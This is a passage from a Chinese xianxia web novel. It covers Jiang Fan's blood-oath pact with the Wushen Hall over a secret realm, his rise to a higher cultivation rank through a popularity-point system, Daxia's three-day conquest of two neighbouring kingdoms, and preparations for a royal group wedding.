冷月寒在江凡的帮助下,初步掌控了体内暴走的玄阴之气,修为稳固在极道宗师初期,并且对阴寒属性的力量掌控越发精妙,实力不容小觑。
只是她眉宇间偶尔闪过的一丝黯淡,显示出那‘秘境印记’带来的生机流逝,并非全无影响。
宫中供奉如玄老等人,在大量丹药堆砌下,也有数人突破至极道宗师,整体高端战力暴涨。
整个皇宫,仿佛一台高效运转的修炼机器,每时每刻都有人突破,气息冲天。
京城百姓虽不明所以,但也能感觉到皇宫方向不时传来的强大波动,对‘逍遥帝君’的敬畏与崇拜更是达到顶点。
江凡自身的修炼也未停下。
这几日,他通过系统查看人气值,惊喜地发现,在萧璇月一道‘鼓励全民阅读《深宫秘恋》,领悟帝君治国安民、情义无双之精神’的古怪政令下,人气值再次迎来井喷!
【当前人气值:158,000,000】
一亿五千八百万!
而且还在快速增长!
萧璇月这波官方催更、强制安利的操作,效果拔群!
“月儿,你这法子…真是绝了。”
江凡看着系统中疯狂跳动的人气值,对萧璇月笑道。
萧璇月微微扬起下巴,眼中闪过一丝狡黠:
“朕这也是为了教化百姓,弘扬正能量。再说了,你的话本写得确实好,引人向善,寓教于乐,多看看有益身心。”
她才不会承认,自己私下也看得津津有味,尤其喜欢里面以她和江凡为原型的桥段。
有了充足的人气值,江凡不再犹豫。
“系统,兑换陆地神仙巅峰境界!”
【叮!消耗人气值100,000,000点!开始灌注陆地神仙巅峰境界修为与终极法则感悟…】
体内的真元彻底化为一种半液体半能量、晶莹剔透、蕴含无穷奥妙的‘真罡’,对天地法则的感应清晰到了极致。
丹田中
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的‘星云’彻底凝实,化为一个缓缓旋转的奇异核心,散发着永恒不灭般的道韵。
陆地神仙巅峰!
他再也不需要体验卡了!
再往前一步,便是超越凡俗、引动天劫、渡劫重生的‘劫境’!
然而,江凡看向系统,兑换‘劫境’修为所需的人气值,赫然是——两亿点!
看似不少,但以目前人气值增长的速度,或许用不了多久便能凑齐。
但‘劫境’之后,每提升一重,所需人气值必然更加恐怖。
而他的对手夏侯尊,是‘劫境大圆满’,甚至可能半只脚已踏入了更高层次!
差距依然存在。
就在江凡稳固新境界,众女也摩拳擦掌,准备在丹药和《龙凤和鸣诀》辅助下,尝试向陆地神仙发起冲击时,影老带着两名气息沉凝的武神殿长老,来到了皇宫之外,递上了拜帖。
“武神殿殿主特使,求见大夏帝君、逍遥公子江凡,有要事相商,关乎‘长生秘境’与‘玄阴灵体’续命之法。”
消息传入宫中,江凡与萧璇月对视一眼,皆看到了对方眼中的凝重。
武神殿,果然坐不住了。
江凡眼中闪过一丝锐利的光芒。
“宣他们进来。朕与帝君,在御书房见他们。”
御书房内,檀香袅袅,气氛却透着几分外松内紧的肃杀。
江凡端坐于主位,目光平静地看着下方躬身而立的三名不速之客。
萧璇月身着明黄凤纹常服,坐在他身侧,凤眸低垂,看似随意,实则神识早已笼罩全场。
云暮则如同最忠诚的影子,静静侍立在萧璇月身后半步,手按剑柄,气息沉凝,已是大宗师巅峰的她,自有一股不容小觑的威势。
而在御书房四周,看似平静的回廊、假山、树木阴影中,塔娜、柳絮、周婉如、江芷兰、冷月寒以及数名突破至极道宗师的供奉,皆已悄然就位,气机隐隐相连,形成了一个无形的包围与接应网络。
只要殿内稍有异动,江凡心念一动,【无敌领域】便可瞬间覆盖,众人也能在第一时间冲入接应。
武神殿狡诈,不得不防。
第292章 谈一谈合作
武神殿为首者正是影老。
他依旧是一身不起眼的黑袍,面容普通,唯有那双眼睛,开阖间偶尔闪过精光,显示出其深不可测的修为与心机。
他身后跟着两名老者,皆有陆地神仙初期的修为,此刻却恭敬地垂手而立,不敢有丝毫逾矩。
“武神殿殿主座下影卫统领,见过大夏帝君,逍遥公子。”
影老声音沙哑低沉,姿态放得很低,率先躬身行礼。
他身后的两名长老也连忙跟着行礼。
“免礼。”江凡淡淡道,并未赐座,
“影老不远**而来,所谓何事?可是为前几日贵殿厉副殿主不请自来、扰我宫闱之事,给个说法?”
他语气平淡,却带着一丝无形的压力。
影老面色不变,依旧恭敬道:
“厉副殿主行事莽撞,冒犯帝君与陛下,实乃其个人之意,殿主知晓后亦感震怒。此事,我武神殿确有失察之过,在此,老夫代殿主,向帝君与陛下致歉。”
说着,又是微微一礼,姿态无可挑剔。
“哦?个人之意?”
萧璇月抬起凤眸,嘴角勾起一抹弧度,
“贵殿一位劫境五重的副殿主,携两名陆地神仙、十余名极道宗师,潜入我大夏京城,欲行不轨,这也能算是‘个人之意’?武神殿的规矩,未免太过儿戏了吧?”
影老心中暗凛,这大夏女帝言辞犀利,气场强大,与情报中那个依赖江凡的年轻女子截然不同。
他忙道:“陛下明鉴,厉副殿主确是为了玄阴灵体私自行动,殿主已下令严惩其麾下相关人员。
此番老夫前来,一为致歉,二来…也正是为了玄阴灵体,以及那长生秘境之事。”
他顿了顿,目光看向江凡,语气诚恳:
“江帝君,玄阴灵体既已觉醒,便与长生秘境产生了不可分割的联系。灵体生机被秘境印记不断抽取,最多只剩一年寿元,此事想必帝君已然知晓。
想要续命,唯有进入长生秘境,寻得那传说中的源生仙泉。而‘长生秘境’神秘莫测,入口飘忽,禁制重重,若无详尽地图与开启之法,外人绝难寻到,即便寻到,也寸步难行,十死无生。”
“所以呢?”江凡手指轻轻敲击着扶手,神色未动。
“所以,殿主提议,愿与帝君合作。”
影老直视江凡,缓缓道,
“我武神殿掌握着‘长生秘境’的部分地图、安全路径以及关键禁制的破解之法。而帝君实力超群,身边亦有诸位…夫人相助,实力不凡。
我们双方联手,共探秘境,各取所需。帝君可救冷姑娘性命,获取‘源生仙泉’;我武神殿亦可探寻秘境中的其他机缘。此乃合则两利之事。不知帝君意下如何?”
御书房内一时寂静。
萧璇月看向江凡,眼中带着询问与隐忧。
江凡沉默片刻,方才开口,声音听不出喜怒:
“合作?我与你们武神殿,似乎并无交情,反而有些过节。厉无涯之事暂且不论,之前北境、南疆,乃至京城,你们的手可伸得不短。
我凭什么相信,你们此次是真心合作,而非另一个陷阱?若我答应,带着人离开大夏,你们转头便对我大夏,对我身边的人下手,又当如何?”
“帝君顾虑,情理之中。”
影老似乎早有准备,不慌不忙道,
“为表诚意,我武神殿愿以血誓为凭!在秘境探险结束之前,绝不对大夏国境、不对帝君指定的任何一位亲友、下属,发动任何形式的攻击或不利行动。
如有违背,天道共弃,神魂俱灭!此誓可由老夫与殿主共同立下,以天道为鉴,绝无虚假!”
血誓,尤其以天道为鉴的血誓,对于修炼者而言约束力极强,尤其是修为高深者,轻易不敢违背,否则必遭反噬。
轻则修为尽废,重则身死道消。
武神殿肯立下此誓,至少在明面上,给出了极大的诚意。
江凡眉头微蹙,似在权衡,又问:
“长生秘境何时开启?在何处?”
“具体开启时间,难以精确。”影老摇头,
“长生秘境与玄阴灵体息息相关,灵体现,则秘境门户的波动便会加剧。根据殿主推算,短则十天半月,长则两三月,秘境入口必会于特定地点显现。至于地点…”
他看了一眼江凡,“在天渊之眼,一处位于大陆极西荒漠与无尽海交界处的绝地。没有我殿提供的地图与路径,外人绝难抵达核心区域,更别说
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找到那隐于时空乱流中的入口了。”
十天半月到两三个月…时间说紧不紧,说松不松。
江凡心中计较,继续问道:
“若我答应,何时出发?”
“自然是秘境开启征兆出现,便即刻出发。”影老道,
“以帝君与诸位……的修为,即便天渊之眼距离遥远,全力赶路,数日亦可抵达,不会耽误。”
江凡目光锐利地看向影老,缓缓道:
“合作可以。但需依我三个条件。”
“帝君请讲。”
“第一,血誓内容,需涵盖所有武神殿所属,包括一切附属势力,在秘境之行结束前,不得以任何形式侵犯大夏、伤害我指定名单上的任何人。名单我会稍后给你。”
“可以。”影老点头。
“第二,合作期间,秘境之中所得,各凭本事。但若你们暗中使绊,或意图对我和我的人不利,我有权随时终止合作,并且…后果自负。”
江凡语气转冷。影老面色不变:
“理应如此。合作贵在诚信。”
“第三,”江凡站起身,走到窗边,望着窗外宫苑,
“出发时间,由我定。秘境开启征兆出现,你们需第一时间通知我。在此之前,你们的人,不得靠近大夏边境千里之内。发了血誓,便在此等候,开启时一同出发即可。”
影老略微沉吟,与身后两名长老交换了一个眼神,随即点头:
“可。只要帝君答应合作,这些条件,我武神殿皆可应允。那么,帝君这是……答应了?”
江凡转身,目光平静地看着他:
“血誓立下,我便答应。记住,若你们有任何异动,或这血誓有半分不实,我不介意提前去武神山,找夏侯尊‘谈谈’。”
话语平淡,其中蕴含的威胁与自信却让影老心中一凛。
他连忙躬身:“帝君放心,血誓绝无虚假。老夫这便以秘法联系殿主,共同立誓。这是‘长生秘境’外围三分之一区域的地图副本,以及‘天渊之眼’外围的路径与部分禁忌说明,权当定金,请帝君过目。”
说着,他取出一枚非金非玉、刻满符文的黑色令牌,恭敬地呈上。
云暮上前接过,检查无误后,递给江凡。
第293章 话本新内容
江凡神识扫过,令牌内信息庞大,地图精细,路径标注明确,禁忌描述详尽,不像作伪。
他点了点头,将令牌收起。
影老不再多言,当即与两名长老就在御书房内,以精血为引,辅以特殊法诀,向着冥冥中的天道立下了江凡所要求内容的血誓。
誓言成立的刹那,三人眉心皆闪过一道细微的血色符文,随即隐没。
一股无形的约束力弥漫开来,江凡能清晰地感知到,这誓言已然成立,对武神殿有着极强的约束。
“血誓已立,我等便在京城外等候帝君消息。秘境若有异动,会第一时间通过此符通知帝君。”
影老又递上一枚传讯符,随后便带着两名长老告辞离去,态度始终恭敬有加。
直到三人的气息彻底远离皇宫,消失在京城之外,御书房内紧绷的气氛才略微缓和。
“夫君,你真的相信他们?与虎谋皮,凶险异常。”
萧璇月走到江凡身边,眉宇间忧色未去。
塔娜、柳絮等人也纷纷从暗处走出,围拢过来。
江凡握住萧璇月的手,又看向众女,最后目光落在冷月寒写满担忧与愧疚的脸上,苦笑一声:
“不相信,又能如何?正如他们所说,月寒的性命等不起。我们连‘长生秘境’在哪儿都不知道,更别说进去找那‘源生仙泉’了。武神殿掌握着最关键的信息,这是阳谋,我们不得不接。”
他语气转冷,眼中寒光闪烁:
“不过,他们想利用我们探路、破除障碍,我们又何尝不能利用他们提供的信息和路径?至少,有了这血誓,在秘境之行结束前,大夏和你们的安全暂时有了保障。
我们也能心无旁骛地提升实力,不用时刻提防他们在背后搞小动作。这段时间,对我们至关重要。”
冷月寒有些哽咽的说道:
“夫君,要不还是别去了,我不怕死。能陪在夫君身边一年,月寒已经知足。我不值得...”
江凡抬手打断她,目光坚定:
“月寒,别说什么的傻话。你是我江凡的女人,你的命,比什么都重要。别说一年,就是只剩一天,我也会想尽办法为你续命。
不只是你,你们任何人遇到这样的事,我都会拼尽一切,护你们周全。所以,不要有负担,我们一起面对。”
“夫君…”
冷月寒泪如雨下,扑进江凡怀中,其他几女也眼圈泛红,心中感动无以复加。
塔娜用力点头:
“没错!月寒姐姐,我们都是一家人,当然要一起扛!不就是什么破秘境吗?咱们一起去,把那个什么仙泉抢回来!”
柳絮眼中燃烧着复仇的火焰与坚定的支持:
“对!武神殿不怀好意,我们正好将计就计。在秘境里,谁算计谁,还不一定呢!”
周婉如、江芷兰、云暮也纷纷表态,同仇敌忾,决心共同进退。
看着众女团结一心的模样,江凡心中暖流涌动,豪情顿生。
“好!那我们就利用这最后的时间,拼命提升修为!丹药管够,**共享,秘境开启之前,我们要变得更强!强到让武神殿的那些魑魅魍魉,在秘境里也不敢轻易招惹我们!”
接下来的日子,皇宫再次进入了疯狂修炼的状态。
有了武神殿的血誓暂时保障后方,众人心中少了一层顾虑,修炼起来更加专注。
江凡几乎将剩下的人气值全部兑换成了各种顶级丹药、辅助修炼的天材地宝,以及一些保命、破阵的特殊符箓和宝物。
萧璇月、塔娜等人则在他的**与《龙凤和鸣诀》的辅助下,向着极道宗师后期、巅峰,乃至触摸陆地神仙的门槛发起冲击。
冷月寒则在巩固极道宗师修为的同时,开始尝试主动引导、掌控体内那浩瀚的玄阴之力。
江凡发现,这玄阴之力虽然会缓慢抽取她的生机,但本身也是一种强大无比的能量,若是运用得当,威力惊人。
他结合自身对天地法则的感悟,与冷月寒一同探讨,初步摸索出几种运用玄阴之力的法门,让冷月寒的实力大增。
在众人闭关苦修之际,江凡偶尔也会抽出时间,处理一些政务,或者…继续他的‘文学创作’。<
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br>这日,他坐在书房,看着系统中依旧在稳步增长的人气值,嘴角勾起一抹坏笑。
武神殿暂时消停了,但人气值不能停啊!
之前写的《深宫秘恋》主角是女帝和侍卫,虽然火爆,但反派似乎不够带感?
他提笔,铺开雪浪笺,略一思忖,开始挥毫泼墨。
这次,他要塑造一个真正令人印象深刻、实力强大、野心勃勃、且与主角不死不休的终极反派!
“《深宫秘恋》特别篇:苍穹之怒——六神殿的阴影”
“大陆之巅,云雾缭绕之处,矗立着传承万载、神秘而强大的‘六神殿’。殿分六宫,各司其职,执掌大陆秩序,暗中操控王朝更迭,众生皆为其棋子。其威之盛,天下宗门莫敢不从,帝国帝王亦需仰其鼻息。”
“六神殿主,复姓‘夏侯’,单名一个‘弱’字。其人神秘莫测,寿逾千载,自诩为‘规则化身’,视苍生为蝼蚁,万物为刍狗。
其野心勃勃,不甘于幕后掌控,意图颠覆大陆现有格局,建立以六神殿为尊、万国来朝的绝对神权帝国!
为此,他不惜搅动天下风云,挑起王朝战争,炼制邪功吞噬生灵,甚至谋划开启传说中的‘寂灭古境’,以亿万生灵为祭,换取自身突破界限、成就‘永恒神主’之位!”
“然而,其倒行逆施,终引**…”
江凡写得眉飞色舞,将‘夏侯弱’描写成一个外表俊美、内心扭曲、为达目的不择手段、视人命如草芥的超级大反派。
将其阴谋写得步步惊心,将其实力渲染得恐怖绝伦。
“嘿嘿,夏侯尊啊夏侯尊,你就在武神山好好待着吧。小爷我先在话本里让你‘声名远扬’,顺便赚点人气值。等到了‘长生秘境’,咱们再好好‘亲近亲近’。”
江凡满意地放下笔,看着新鲜出炉的‘特别篇’,仿佛已经看到了人气值再次暴涨的场景,以及…夏侯尊万一看到这话本时,那可能精彩万分的表情。
“系统提交!”
话本上传,系统自动分发出去,足足十万份。
……
第294章 三日灭两国
做完这一切,江凡伸了个懒腰,心情大好。
“修炼要紧,但劳逸也要结合嘛…”
他嘀咕着,脸上露出不怀好意的笑容,身形一晃,便朝着萧璇月所在的寝宫方向潜行而去。
嗯,找自家夫人深入探讨一下《龙凤和鸣诀》的奥妙,也是提升实力的重要一环嘛!
御书房。
萧璇月与江凡并肩立于那幅巨大的大夏及周边疆域图前。
地图上,北境的苍茫、南疆的绵延,如今在萧璇月眼中,已不仅仅是需要防守的边关,更是可以进取的疆土,是消除后顾之忧、整合力量的契机。
“夫君,”萧璇月轻轻划过地图上北莽与南蛮的区域,凤眸中闪烁着光芒,
“武神殿虽立下血誓,秘境之行结束前不会直接对我们动手。但这誓言约束的,主要是夏侯尊和其直属力量。
北莽、南蛮,尤其是其国内那些早已被武神殿渗透、扶持的势力和残部,未必受此誓完全约束。
他们就像两颗毒瘤,长在我大夏卧榻之侧,随时可能被武神殿暗中操控,在我等前往秘境、或与武神殿在秘境中纠缠时,在我后方掀起动荡,甚至威胁父亲和安国公的边防。”
她转头看向江凡:
“眼下,我们与武神殿有这短暂而脆弱的‘和平’。与其被动防守,不如主动出击,趁此良机,以雷霆之势,彻底扫平北莽与南蛮!
将这两块土地,真正纳入大夏版图!如此,既能开疆拓土,壮我国力,更能剪除武神殿在外围的爪牙,使我大夏后方成为铁板一块!
届时,即便秘境之行后与武神殿彻底翻脸,我们也能少去许多侧翼的麻烦,专心应对来自武神山的压力。”
江凡闻言,眼中精光一闪。
萧璇月的想法与他不谋而合。
打铁需趁热,攘外必先安内。
武神殿的血誓给了他们一个难得的战略窗口期,此时不动,更待何时?
而且,经过连番大战与**发酵,他系统中的人气值已然逼近两亿大关,足够支撑一场大规模的、速战速决的灭国之战,甚至…
为他冲击那梦寐以求的‘劫境’提供最后助力!
“月儿所言极是!”江凡握住她的手,
“北莽新败,内部惶惶;南蛮经我上次一闹,王权动摇,军心涣散。此时正是用兵良机!父亲与安国公皆是百战名将,麾下儿郎求战心切。更关键的是——”
他走到御案旁,拿起一份工部与将作监联合呈上的密报,递给萧璇月:
“我们秘密研发的‘**’与据此改良的‘霹雳炮’、‘震天雷’、‘火箭车’等攻城破阵利器,已由‘天工院’联合将作监日夜赶工,完成了第一批批量生产,数量足以装备两路大军!
其威力,远超寻常投石机与**,对城墙、军阵、乃至敌军士气,皆有毁灭性打击!配合父亲和安国公的指挥,以及我军如今高昂的士气,必能摧枯拉朽,速战速决!”
萧璇月接过密报,快速浏览,眼中喜色越来越浓。
“好!太好了!”萧璇月凤颜大悦,当即拍板,
“明日早朝,朕便下旨!命镇国公江撼岳为征北大元帅,统帅北境边军及新调拨的‘神机营’,即日出征,荡平北莽王庭,彻底覆灭北莽政权!
命安国公为征南大将军,统帅南境边军及另一部‘神机营’,南下扫荡,平定南蛮全境,收其土地、子民!
旨意中需言明,此战不为杀戮,而为天下一统,解救北莽、南蛮百姓于武神殿傀儡统治之苦,愿归顺者,一视同仁,抗拒天兵者,格杀勿论!
限期——三日之内,攻破敌国王都,瓦解其主力军队!”
三日灭两国!
这是何等的霸气与自信!
但也唯有手握**利器和当世名将,且有江凡这等绝世强者坐镇后方、无惧武神殿直接干预的情况下,才敢定下如此目标!
“月儿英明!”江凡笑道,随即补充,
“我会传讯父亲和安国公,详细说明**武器使用之法与注意事项,并提供一批疗伤、恢复的丹药。此战,务求必胜,且要尽量减少我方伤亡,速战速决,以免节外生枝。”
战略既定,次日早朝,萧璇月力排众议,悍然下达了北伐南征的旨意。
朝野震动,但更多的是沸腾的战意与对开疆拓土的憧憬。
镇国公江撼岳与安国公接旨后,雷厉风行,点齐兵马,接收新式装备,短
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短一日便誓师出征!
战争,以超出所有人预料的速度与烈度爆发了。
北境,镇北关外。江撼岳身先士卒,麾下神机营首次亮相。
数百架经过简化、便于运输组装的霹雳炮被推至阵前,伴随着令旗挥下,点燃引信。
“轰!轰!轰!轰——!!!”
震耳欲聋的连绵巨响,第一次响彻在这个世界的战场上!
黑色的铁球与内部填充了碎铁片的**划破长空,狠狠砸向北莽匆忙集结、尚以骑兵冲锋为主的军阵,以及他们身后那并不算坚固的边城城墙!
刹那间,人仰马翻,血肉横飞!
坚固的城墙在连续轰击下砖石碎裂,出现巨大缺口!
冲锋的骑兵更是成片倒下,战马的嘶鸣与士兵的惨叫被**声淹没。
从未经历过如此恐怖打击的北莽军队,瞬间崩溃!
士气降至冰点,许多士兵丢下武器,抱头鼠窜,军官弹压不住。
江撼岳抓住战机,亲率铁骑从缺口处涌入,直扑北莽王庭!
沿途几乎未遇像样抵抗。
北莽国王闻风丧胆,欲逃往更北方,**撼岳派出的一支精锐轻骑截获。
仅仅两天两夜,北莽王庭陷落,国王被俘,主力军队或灭或降,北莽,这个与大夏纠缠百年的北**敌,宣告覆灭!
南境,战事同样顺利。安国公稳扎稳打,利用震天雷和火箭车的覆盖性打击,摧毁了南蛮依仗的险要关隘和丛林防线。
南蛮军队本就因大祭司之死、王权动荡而军心涣散,在新式火器的恐怖威力面前,更是一触即溃。
安国公分兵进击,剿抚并用,第三日正午,便攻入了已是人心惶惶的澜沧城。
南蛮国王蒙丹试图抵抗,被阵前斩首。
南蛮,亦告平定。
两路大军捷报频传,以‘三日灭国’的雷霆之势,震撼了整个大陆!
大夏的军威,尤其是那闻所未闻、见所未见的‘天雷’般的新式武器,成为了所有势力谈之色变的梦魇。
大夏的版图,在短短数日内,向北向南扩展了近乎一倍!
国力、人口、资源,瞬间暴涨!
而在战争进行的同时,江凡也并未闲着。
第295章 准备得如何
夜晚,他依旧伏案疾书,继续他的‘文攻’大业。
《深宫秘恋》特别篇‘苍穹之怒——六神殿的阴影’已经被系统发往全国各地。
尤其是新占领的北莽、南蛮地区。
故事中那个实力通天、野心勃勃、视人命如草芥、意图献祭亿万生灵成就自身的‘六神殿主夏侯弱’,其名号与恶行,随着大夏的无敌兵锋与强力宣传,迅速深入人心。
稍微有点见识的人,都能看出这话本是在影射谁。
武神殿及其殿主夏侯尊的形象,在大夏及其新附疆土的百姓心中,迅速与邪恶、恐怖、大陆公敌等词汇划上了等号。
“嘿嘿,夏侯尊老儿,小爷我先在**战场上给你来个‘社会性死亡’。”
江凡看着系统中因战争胜利、疆土扩张、尤其是新话本引发的热烈讨论与传播,而如同坐火箭般飙升的人气值,乐得合不拢嘴。
【当前人气值:215,000,000】
两亿一千五百万!
突破了!
终于突破了兑换‘劫境’修为所需的两亿大关!
而且还在快速增长!
北莽和南蛮被灭国后,深宫秘恋的话本第一时间就强制推广,对江凡的人气值增长是有巨大好处的。
“系统,兑换劫境一重修为!”
【叮!消耗人气值200,000,000点!开始灌注劫境一重境界修为、劫力转化、及初步规则感悟…】
【警告!此乃超凡脱俗、逆天改命之大关,需经历心魔劫、肉身劫、元神劫三重考验,凶险万分!系统将全力护持,但请宿主紧守道心,铭记本源!】
轰隆隆——!!!
这一次,不再是单纯的能量与感悟灌注。
江凡只觉得自己被投入了一个光怪陆离、充满无尽考验与磨难的奇异时空!
心魔幻境丛生,前世今生的遗憾、执念、恐惧被无限放大,化作狰狞魔头,欲要吞噬他的道心;
肉身仿佛被投入了天地熔炉,接受着风、火、雷、电、乃至时空之力的疯狂淬炼,每一寸血肉、骨骼、经脉都在崩溃与重组中循环,痛苦远超凌迟;
元神更是被剥离出来,暴露在虚无之中,接受着源自天道法则的拷问与冲刷,仿佛随时会消散于无形!
这是真正的脱胎换骨,是生命层次的跃迁!
是与天地争夺造化,逆天而行的第一步!
若非有系统那无形的守护力量始终维持着他一点真灵不灭,若非他自身道心历经两世打磨、又在此界经历了诸多生死情义考验而变得坚如磐石。
恐怕早已在第一步心魔劫中便沉沦迷失,或在肉身劫中化为飞灰,或在元神劫中魂飞魄散。
不知过了多久,也许是一瞬,也许是万年。
“咔嚓!”
仿佛某种无形的枷锁被彻底打破!
江凡猛地睁开双眼!
眸中再无日月星辰、法则流转的异象,只剩下一片深邃的混沌,仿佛能容纳万物,又仿佛能湮灭一切。
周身气息彻底内敛,返璞归真,乍一看如同毫无修为的普通人,但细察之下,却能感觉到他体内蕴含着一种与天地同源的磅礴劫力!
这劫力质量远超真元,蕴含着淡淡的规则气息,举手投足间,已能初步引动并小范围改变周遭的天地规则!
神识范围暴增,足以笼罩上百里!
对危险的预知、对空间的感应、对时间的流逝,都有了全新的、更加清晰的认知。
劫境一重!
他成功了!
真正踏入了此方世界超凡脱俗的顶尖强者行列!
虽然只是初入劫境,与夏侯尊那等劫境大圆满的老怪物相比,或许还有巨大差距,但至少,他已不再是‘凡人’!
拥有了真正与对方在同一层次对话乃至博弈的资格!
更重要的是,他感觉自己的【无敌领域】,似乎也随着境界提升,发生了一些微妙的变化。
范围、强度、持续时间,或许都有所增强。
“终于…到了这一步。”
江凡缓缓吐出一口浊气,那口气息离体,竟在空中凝而不散,化作一道小小的气旋,许久才缓缓消散。
他感受着体内那全新
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的、浩瀚的力量,心中豪情万丈,对即将到来的长生秘境之行,更多了几分底气。
……
然而,有人欢喜有人怒。
武神山,裁决圣殿。
“砰!”
又一件珍贵的古董玉器粉身碎骨。
夏侯尊端坐于王座之上,面沉如水,那副年轻的俊朗面容此刻有些扭曲。
他手中,正紧紧攥着一本最新版的《深宫秘恋》特别篇,指节因用力而发白。
“江!凡!”
他从牙缝里挤出这两个字,声音冰冷,
“好,很好!灭我附庸,扩你疆土,本座暂且忍了,为了长生大计!可你…你竟敢如此污我武神殿,毁我清誉!
将这荒诞不经的话本,遍传天下,将我夏侯尊描绘成如此不堪的魔头!约定合作?这就是你合作的诚意?!”
下方,影老垂首而立,心中也是暗叹。
那话本他也看了,写得确实…栩栩如生,跌宕起伏,将殿主和武神殿黑得是淋漓尽致。
偏偏文笔极佳,情节抓人,极易传播,对武神殿的声望打击,恐怕比损失几个附庸国度还要严重。
尤其是大夏新灭北莽南蛮,正携大胜之威推广此话本,效果更是恐怖。
如今恐怕半个大陆,都在议论‘六神殿主夏侯弱’的‘恶行’了。
“殿主息怒。”影老硬着头皮劝道,
“那江凡小儿,不过是逞口舌之利,徒惹人笑。待秘境之事了结,将其擒获,自可当众戳穿其谎言,挽回声誉。眼下…小不忍则乱大谋啊。”
“小不忍则乱大谋…”
夏侯尊重复了一句,眼中的怒火渐渐被深沉取代。
他闭上眼,深吸几口气,强行压下翻腾的杀意。
良久,才缓缓睁开,目光已恢复了平日的幽深莫测。
“你说得对。与长生相比,区区虚名,算得了什么?待本座夺得‘源生仙泉’,参透长生之秘,超脱此界,这些蝼蚁的议论,不过清风拂面。”
他松开手,任由那话本飘落在地,声音恢复了淡漠,
“秘境情况如何了?”
第296章 大婚日在即
影老连忙回道:
“禀殿主,天渊之眼附近的时空波动越发剧烈,根据寻灵古鉴核心碎片的感应,以及我们对星象的观测,秘境门户的开启,就在这三五日之内了!是否…现在通知江凡?”
夏侯尊沉吟片刻,摇了摇头:
“不急。等门户稳固,确认开启之后再通知他。此子太过诡异,修为提升速度不合常理,更有那神秘领域护身。
若让他提前到达‘天渊之眼’,以其心性手段,未必不会搞出什么幺蛾子,甚至可能试图独自闯入,打乱本座布置。让他晚到片刻,我们更能掌握主动。”
他顿了顿,眼中闪过一丝厉色:
“本座近日正在全力祭炼那件自上古遗迹中所得的‘混沌镇魔碑’残片,此宝若能炼化一二,或可对抗他那诡异领域的压制之力。
在秘境之中,环境特殊,法则压制更强,他那领域未必能如外界那般肆无忌惮。届时,便是本座与他清算总账之时!”
影老心中一凛,连忙躬身:
“殿主深谋远虑。老奴这就加派人手,严密监控‘天渊之眼’,一有确切开启迹象,立刻来报!”
……
大夏,皇城。
北莽、南蛮的迅速平定,不仅带来了广阔的疆土和资源,更带来了海量的人口。
萧璇月展现出了一代雄主的胸怀与手段,对两处新附之地并未一味高压。
而是剿抚并用,迅速派遣得力官员接管政务,推行与大夏相同的律法、税制,并大肆宣扬‘天下一统、共抗武神殿**’的理念。
同时,那道‘鼓励阅读《深宫秘恋》,领悟其中反抗强权、珍视情义、保家卫国之精神’的政令,也随着新政一同推行到了北地和南疆。
起初,北莽和南蛮的百姓对打败自己的敌人推广话本感到百思不得其解,甚至有些抵触。
但迫于大夏强大的军力与新政府的权威,许多人还是尝试阅读。
结果,不少人被其中曲折动人的情节、鲜活的人物、尤其是对‘六神殿’**的控诉和对‘大乾女帝’与‘林枫’等人反抗精神的描写所吸引。
潜移默化中,对大夏的认同感、对武神殿的恶感,竟在慢慢滋生。
当然,最重要的,是为江凡带来了源源不断、更加庞大的人气值!
数日之后,征北大元帅、镇国公江撼岳,留下部分精锐镇守北地,处理善后,自己则率领主力大军,凯旋回朝。
萧璇月早已下旨,令其不必回北境镇守,直接返回京城。
这一日,江撼岳风尘仆仆却精神矍铄地踏入皇宫,来到御书房。
江凡与萧璇月早已在此等候。
“末将江撼岳,参见陛下,帝君!幸不辱命,北莽已平,大军凯旋!”
江撼岳声如洪钟,对着萧璇月和江凡郑重行礼。
目光扫过儿子时,眼中满是毫不掩饰的骄傲与欣慰。
这个曾经让他头疼不已的儿子,如今已成长为撑起大夏、令强敌胆寒的参天大树!
“父亲快快请起!一路辛苦!”
江凡连忙上前扶起父亲。
萧璇月也温言嘉勉,赐座看茶。
叙话片刻,萧璇月忽然屏退左右,只留江凡父子在室。
她走到江撼岳面前,敛衽一礼,正色道:
“国公为国征战,开疆拓土,劳苦功高。璇月有一事,思虑已久,还需父亲首肯。”
江撼岳连忙侧身避礼,疑惑道:
“陛下这是何故?有何事但请吩咐,老臣无有不从。”
萧璇月直起身,看了江凡一眼,脸上飞起两朵罕见的红云,但目光清澈坚定,声音清晰地说道:
“国公,我与凡儿,虽早有夫妻之实,天下皆知。然国婚大典,一直因国事繁忙、强敌环伺而未能举行。如今北境南疆暂安,强敌亦因秘境之约暂缓兵锋。
璇月私心想着,是时候给凡儿,也给璇月自己,还有塔娜、柳絮、婉如、芷兰姐姐、月寒、云暮她们一个正式的名分与典礼了。”
她顿了顿,继续道:
“我已令钦天监仔细推算,七日后便是黄道吉日,诸事皆宜。璇月想,就在那日,于宫中举行大婚典礼。
我、凡儿,还有几位妹妹,一同与凡儿成婚。从此以
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后,我们便是一家人,名正言顺,生死与共。不知国公…意下如何?”
江撼岳闻言,先是一愣,随即虎目之中泛起激动的光芒。
他看着眼前这对璧人,儿子英武不凡,已是顶天立地的帝君;儿媳更是英明果决、情深义重的女帝。
他们历经磨难,感情深厚,更携手带领大夏走向强盛。
如今,终于要补上这迟来的、也是最庄严的仪式了!
而且,听女帝的意思,是要将凡儿身边的红颜知己,一并明媒正娶,给予正式的名分!
这需要何等的胸怀与气度?
又是对凡儿何等深厚的信任与爱恋?
“好!好!好!”
江撼岳连说三个好字,用力拍着江凡的肩膀,声音有些哽咽,
“陛下深明大义,凡儿能得陛下与诸位姑娘倾心,是他的福气,也是我江家的福气!老臣…老臣一万个同意!
这婚事,早就该办了!七日后好!老臣亲自操持,定要让这婚礼,办得风风光光,举世无双!”
江凡在一旁,听着萧璇月的话语,看着她脸上那抹动人的羞红与眼中的坚定,心中暖流汹涌,感动得无以复加。
他走上前,将萧璇月轻轻拥入怀中,在她耳边低语:
“月儿…谢谢你。得妻如此,夫复何求。”
萧璇月靠在他怀中,感受着他强有力的心跳,脸上红晕更甚,却满是幸福的笑意。
她抬头,嗔怪地看了他一眼,低声道:
“傻瓜,以后可要对我们所有人都好。尤其是月寒妹妹,时间不等人,大婚之后,我们便要着手准备前往‘长生秘境’了。
这婚礼,也是为我们践行,更是祈求上天保佑,让我们能平安归来。”
“一定会的。”
江凡重重点头,目光扫过父亲欣慰的脸庞,怀中心爱之人娇羞的容颜,心中充满了对未来的期许与守护的决心。
大婚在即,强敌暂匿,秘境将启。
前路依旧吉凶未卜,但此刻,他只想珍惜这份来之不易的平静与幸福,与所爱之人,共同许下执子之手、与子偕老的誓言。
